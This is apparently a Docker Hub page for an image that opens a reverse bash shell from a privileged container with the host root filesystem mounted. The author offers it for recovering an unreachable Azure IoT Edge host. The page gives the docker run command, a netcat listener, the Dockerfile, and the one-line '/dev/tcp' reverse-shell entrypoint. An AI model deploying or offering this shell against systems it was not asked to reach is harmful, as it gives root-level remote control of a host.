create a reverse bash shell from a container.
302
This image will create a reverse bash shell to $IP and $PORT.
Can be used to troubleshoot things on the docker host when running privileged and when host root file system mounted. My use-case was a docker host stopped running SSH server so was not accessible while Azure IoT Edge was still running it's things. Deploying this image as a module I was able to figure out the problem and fix it.
This will create a reverse shell to 10.10.0.5 on port 5555.
docker run -ti --rm --privileged -e IP=10.10.0.5 -e PORT=5555 -v /:/home/host enterz1983/reverseshell
On the 'server' side run the following to listen for incoming connections on port 5555.
nc -l 5555
Dockerfile:
FROM ubuntu
COPY reverse_shell.sh /root/reverse_shell.sh
RUN chmod +x /root/reverse_shell.sh
ENTRYPOINT [ "/root/reverse_shell.sh" ]
Entrypoint:
#!/bin/bash
bash -i >& /dev/tcp/$IP/$PORT 0>&1
Content type
Image
Digest
sha256:f920dc523…
Size
28.2 MB
Last updated
over 3 years ago
docker pull enterz1983/reverseshell